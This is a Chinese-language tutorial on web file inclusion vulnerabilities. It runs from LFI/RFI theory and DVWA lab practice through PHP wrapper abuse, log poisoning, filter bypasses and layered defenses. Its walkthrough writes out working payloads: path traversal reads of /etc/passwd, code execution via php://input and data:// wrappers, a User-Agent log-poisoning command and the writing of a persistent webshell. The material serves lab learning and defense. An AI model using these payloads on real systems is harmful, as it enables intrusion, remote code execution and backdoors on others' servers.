Web文件包含漏洞深度剖析:从LFI到RCE的实战攻防与防御体系构建
2026/9/4 14:24:04 网站建设 项目流程

如果你是一名Web开发者或安全测试人员,最近是否遇到过这样的困惑:明明已经按照安全规范对用户输入进行了过滤,但系统依然被曝出存在文件包含漏洞?或者,你在进行代码审计时,发现一个看似无害的includerequire语句,却不确定它是否真的安全?

文件包含漏洞,尤其是Web文件包含,远不止是“读取服务器文件”那么简单。它像一条隐蔽的通道,攻击者可以利用它绕过前端验证、执行恶意代码、甚至与服务器其他漏洞形成“组合拳”,最终实现完全的系统控制。很多人以为这只是PHP的“专利”,或者只存在于老旧系统中,但实际上,只要程序动态地引入了外部文件,无论是PHP、JSP还是其他服务端语言,都可能潜藏风险。

本文将深入剖析“Web文件包含”漏洞,特别是其高级利用技巧(对应“-3”的深度)。我们不止步于概念讲解,而是聚焦于实战中的漏洞成因、自动化与手工的探测方法、以及那些容易被忽略的防御盲点。你会看到,为什么简单的黑名单过滤会被绕过,以及如何从架构和代码层面真正地“包含”安全。

通过本文,你将能:

  1. 透彻理解文件包含漏洞的核心原理与分类(LFI/RFI)。
  2. 掌握实战探测与利用文件包含漏洞的手动及工具化方法。
  3. 深入规避常见防御措施的绕过技巧,理解其局限性。
  4. 构建真正有效的、多层级的防御策略,而不仅仅是修复单个漏洞。

1. 文件包含漏洞:不止是“读文件”那么简单

在深入技术细节之前,我们必须建立一个关键认知:文件包含漏洞的本质是“程序逻辑信任了不可控的用户输入,并将其作为代码的一部分来执行”。

这比简单的“读取敏感文件”严重得多。当攻击者能够控制被包含的文件路径时,他们可能实现以下攻击:

  • 敏感信息泄露:读取/etc/passwd,config.php, 数据库配置文件等。
  • 远程代码执行(RCE):在特定条件下,包含一个远程服务器上的恶意脚本,使其在目标服务器上执行。
  • 本地文件执行:利用PHP的php://inputzip://等包装器,或日志文件、Session文件等“临时文件”,注入并执行代码。
  • 攻击链的一环:与文件上传、SQL注入等漏洞结合,扩大攻击面。

根据包含的目标文件来源,漏洞主要分为两类:

  • 本地文件包含(LFI, Local File Inclusion):包含服务器本地的文件。
  • 远程文件包含(RFI, Remote File Inclusion):包含远程URL上的文件。这通常需要服务器配置(如PHP的allow_url_include设置为 On)开启支持,风险极高。

一个典型的漏洞代码示例如下(PHP):

// vulnerable.php $page = $_GET['page']; // 用户直接控制输入 include('/pages/' . $page . '.php');

攻击者可以构造请求:vulnerable.php?page=../../../../etc/passwd%00。这里使用了目录遍历(../)和空字节截断(%00,在PHP旧版本有效)来读取系统文件。

2. 环境准备:搭建靶场与测试环境

理解漏洞最好的方式是亲手实践。我们首先搭建一个安全的测试环境。

强烈建议:所有测试均在本地虚拟机或隔离的Docker容器中进行,切勿在公网或生产环境尝试。

2.1 使用 Docker 快速搭建 PHP 测试环境

这里我们使用一个集成了常见漏洞的Web应用靶场,例如DVWA (Damn Vulnerable Web Application)或专门的文件包含靶场。

以DVWA为例,使用Docker一键部署:

# 拉取DVWA镜像 docker pull vulnerables/web-dvwa # 运行容器,将容器80端口映射到主机8080端口 docker run -d -p 8080:80 --name dvwa vulnerables/web-dvwa

访问http://localhost:8080,按照提示完成安装(数据库密码通常为p@ssw0rd),并将安全级别设置为“Low”。

2.2 测试工具准备

  1. 浏览器 & 开发者工具:用于手动构造和发送HTTP请求,观察响应。
  2. Burp Suite / OWASP ZAP:代理工具,用于拦截、重放和模糊测试请求,自动化发现漏洞。
  3. 命令行工具curl用于快速测试,gobusterdirsearch用于目录扫描,寻找可能被包含的文件。
  4. PHP 本地环境:用于理解包装器(Wrapper)和行为。确保allow_url_fopenallow_url_includephp.ini中可配置(测试时根据需要开启)。

3. 漏洞探测:手动与自动化方法

探测文件包含漏洞,需要从参数中寻找可能控制文件路径的点。常见参数名包括:page,file,load,path,include,module等。

3.1 手动探测(黑盒与灰盒)

黑盒测试(无源码)

  1. 参数枚举:对每个GET/POST参数尝试注入路径遍历payload。
    ?page=../../../../etc/passwd ?file=....//....//....//windows/win.ini (Windows系统)
  2. 观察错误信息:提交异常路径(如?page=invalid),观察是否返回包含路径信息的错误(如“Warning: include(/pages/invalid.php): failed to open stream”)。这证实了include函数被使用。
  3. 测试空字节与编码
    • 空字节截断:?page=../../../etc/passwd%00(PHP < 5.3.4)
    • URL编码:../可编码为%2e%2e%2f..%2f
    • 双重URL编码:%252e%252e%252f
  4. 测试RFI:尝试包含一个你控制的远程URL,观察服务器是否尝试获取。
    ?page=http://your-server.com/test.txt
    在你的服务器上监听请求,看是否有来自目标服务器的连接。

灰盒测试(有部分信息或源码): 直接搜索源码中的include,require,include_once,require_once函数,检查其参数是否由$_GET,$_POST,$_COOKIE等超全局变量直接或未经严格过滤地拼接而成。

3.2 自动化探测(使用 Burp Suite)

Burp Suite的ScannerIntruder模块非常强大。

  1. 被动扫描:正常浏览网站,Burp会自动标记潜在的LFI/RFI漏洞。
  2. 主动扫描:对特定请求启动主动扫描,Burp会使用预定义的payload字典进行测试。
  3. Intruder模糊测试
    • 定位到可疑参数,将其标记为payload位置。
    • Payloads标签页,加载文件包含相关的payload字典(如SecLists中的LFI-Jhaddix.txt)。
    • 根据响应长度、状态码、内容关键字(如“root:x:0:0”)来判断是否成功。

4. 核心利用技巧:从LFI到RCE的跨越

仅仅读取文件可能无法满足攻击者的目标。真正的危险在于将文件包含漏洞转化为代码执行。

4.1 利用PHP包装器(Wrappers)

PHP内置的多种包装器是LFI通向RCE的桥梁。

  • php://filter– 读取源码用于读取PHP文件源码,因为直接包含PHP文件会被执行。通过过滤器进行Base64编码后读取。

    ?page=php://filter/convert.base64-encode/resource=config.php

    响应是一串Base64编码,解码后即可获得config.php的源代码。

  • php://input– 执行POST代码需要allow_url_include=On。将PHP代码放在POST主体中执行。

    curl -X POST "http://target/vuln.php?page=php://input" --data "<?php system('id'); ?>"
  • zip://phar://– 包含压缩包内文件如果网站有文件上传功能,可以上传一个包含恶意脚本的ZIP文件,然后包含它。

    # 假设上传了shell.zip,其中包含shell.php ?page=zip:///path/to/uploads/shell.zip%23shell.php # 注意:`#` 在URL中需要编码为 `%23`
  • data://– 直接包含数据流需要allow_url_include=On。直接在URL中嵌入Base64编码的代码。

    ?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJpZCIpOz8%2B # 解码后是 <?php system("id"); ?>

4.2 利用日志文件污染

这是一种经典的LFI to RCE技术,无需特殊配置。

  1. 寻找日志路径:常见如/var/log/apache2/access.log,/var/www/logs/access.log
  2. 污染日志:将PHP代码作为User-Agent或请求路径的一部分发送给服务器,这些信息会被记录到访问日志中。
    curl -A "<?php system($_GET['c']);?>" http://target/
  3. 包含日志文件:然后利用LFI漏洞去包含这个日志文件。
    ?page=../../../var/log/apache2/access.log&c=id
    服务器会解析日志文件中被记录的恶意代码,执行id命令。

4.3 利用临时文件(如Session文件)

如果应用将用户可控数据存储到Session文件中(/tmp/sess_[PHPSESSID]),且Session文件路径可预测,也可以实现污染。

  1. 控制Session内容:通过表单或参数将<?php phpinfo();?>存入$_SESSION['data']
  2. 包含Session文件:利用LFI包含形如/tmp/sess_yoursessionid的文件。

5. 绕过常见防御措施

开发人员通常会采取一些措施来防御,但很多方法存在缺陷。

5.1 绕过路径前缀/后缀限制

假设代码为:

$file = $_GET['file']; include('/var/www/html/includes/' . $file . '.php');

防御意图:将文件限制在includes目录下。绕过方法:使用目录遍历跳出限制。

?file=../../../../etc/passwd%00

即使加了后缀.php,空字节(%00)在旧版PHP中会截断后面的字符串,使得../../../../etc/passwd%00.php变成../../../../etc/passwd

5.2 绕过黑名单过滤

如果代码尝试过滤../etc/passwd等关键词。

$file = str_replace(['../', 'etc'], '', $_GET['file']);

绕过方法:使用双写、嵌套、非常规路径表示。

  • 双写绕过..././过滤一次../后变成../
  • 绝对路径:直接使用/etc/passwd(如果Web进程有权限)。
  • Windows特性:在Windows上,..\....\或使用~可能有效。

5.3 白名单验证的局限性

最安全的似乎是白名单。

$allowed_pages = ['home', 'about', 'contact']; $page = $_GET['page']; if (in_array($page, $allowed_pages)) { include($page . '.php'); }

但如果白名单验证和包含操作之间存在逻辑分离或时间差(TOCTOU,竞态条件),或在某些复杂框架中,通过其他参数(如moduleaction)间接控制路径,仍可能存在绕过空间。

6. 实战演练:从发现到利用完整流程

假设我们有一个靶场地址:http://dvwa.local/vulnerabilities/fi/

步骤1:发现漏洞点访问页面,发现URL为?page=include.php。尝试修改参数。

http://dvwa.local/vulnerabilities/fi/?page=../../../../etc/passwd

返回了/etc/passwd的内容,确认存在LFI。

步骤2:尝试读取Web源码使用php://filter读取首页源码。

?page=php://filter/convert.base64-encode/resource=index.php

将返回的Base64字符串解码,获得源码。

步骤3:尝试日志文件污染RCE

  1. 首先确定日志路径。通过LFI尝试常见路径,发现/var/log/apache2/access.log可读。
  2. 污染日志:
    curl -A "<?php echo shell_exec(\$_GET['cmd']);?>" "http://dvwa.local/vulnerabilities/fi/?page=include.php"
  3. 包含日志并执行命令:
    ?page=../../../var/log/apache2/access.log&cmd=id
    如果成功,页面会显示命令id的执行结果。

步骤4:获取WebShell通过写入文件的方式获取持久化后门。

  1. 利用存在漏洞的页面执行写文件命令:
    ?page=../../../var/log/apache2/access.log&cmd=echo '<?php system($_GET["c"]);?>' > /var/www/html/dvwa/hack.php
    注意:需要Web进程对目标目录有写权限。
  2. 访问写入的WebShell:
    http://dvwa.local/hack.php?c=whoami

7. 防御策略:构建纵深防御体系

单一的防御措施很容易被绕过,必须建立多层防御。

7.1 代码层(治本)

  • 避免动态包含:尽可能使用静态映射或路由表。
  • 使用白名单:如果必须动态包含,使用严格的白名单机制。
    $allowed = ['home' => 'home.php', 'about' => 'about.php']; $key = $_GET['page']; if (array_key_exists($key, $allowed)) { include(__DIR__ . '/templates/' . $allowed[$key]); } else { include(__DIR__ . '/templates/error.php'); }
  • 严格路径控制
    • 使用basename()函数获取文件名,去除路径。
    • 使用realpath()检查解析后的真实路径是否在允许的目录内。
    $baseDir = '/var/www/html/includes/'; $userFile = $_GET['file']; $realPath = realpath($baseDir . $userFile); if ($realPath && strpos($realPath, $baseDir) === 0) { include($realPath); } else { die('Invalid file path.'); }

7.2 配置层

  • PHP配置
    • allow_url_include = Off(默认值,永远不要开启)
    • allow_url_fopen = Off(根据业务需要,非必要则关闭)
    • open_basedir:将PHP可访问的文件限制在特定目录树内。
  • Web服务器配置:为Web进程用户设置严格的文件系统权限,遵循最小权限原则。
  • 系统层:使用容器化或虚拟化技术隔离应用,限制其访问范围。

7.3 运维与安全层

  • 安全开发生命周期(SDL):在需求、设计、编码、测试各阶段融入安全考量。
  • 代码审计:定期进行人工或自动化代码审计,重点关注文件操作函数。
  • Web应用防火墙(WAF):部署WAF,配置规则拦截常见的路径遍历、包装器利用等攻击payload。
  • 入侵检测与日志监控:监控对非正常文件(如../../../,php://filter)的访问请求,及时报警。

8. 总结与核心要点

Web文件包含漏洞是一个经典的“信任边界”问题。它的危害性随着利用技巧的提升而倍增,从信息泄露到远程代码执行,往往只有一步之遥。

回顾本文,你需要记住几个核心要点:

  1. 漏洞根源:用户输入未经严格验证直接用于文件包含操作。
  2. 利用演进:LFI -> 利用包装器/日志 -> RCE。php://filter和日志污染是两大关键跳板。
  3. 探测思路:手动从参数和错误信息入手,自动化借助Burp等工具进行模糊测试。
  4. 绕过关键:理解过滤逻辑的缺陷,善用编码、截断和特性。
  5. 防御本质白名单优于黑名单,静态优于动态,最小权限原则是基石。任何单一的过滤都不可靠,必须构建从代码到配置到运维的纵深防御。

对于开发者而言,在写下每一个includerequire时,都应将其视为一个潜在的安全入口。对于安全人员,文件包含漏洞是渗透测试中必须检查的重点项目之一,它常常是打开内网大门的“第一把钥匙”。

建议将本文提及的测试方法在DVWA等靶场中反复练习,并尝试审计自己项目中的相关代码。只有将理论转化为肌肉记忆,才能在实战中快速识别和修复这类隐蔽而危险的安全漏洞。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询